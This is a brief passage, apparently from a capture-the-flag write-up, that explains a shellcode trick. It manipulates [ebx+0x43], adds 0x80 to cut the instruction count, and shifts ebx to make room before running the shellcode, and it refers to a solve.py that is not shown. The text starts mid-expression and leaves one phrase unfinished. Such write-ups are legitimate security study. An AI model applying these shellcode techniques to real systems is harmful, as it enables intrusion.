[ebx+0x43],0x43` 10 | 11 | additionally, adding 0x80 makes it take half as many instructions, on average, to get [ebx+0x43] to any number from 0 12 | 13 | the first bit of the code changes ebx to be higher so there is more time to set up shellcode, and the second part actually does the shellcode 14 | 15 | solve script in solve.py 16 | 17 | --------------------------------------------------------------------------------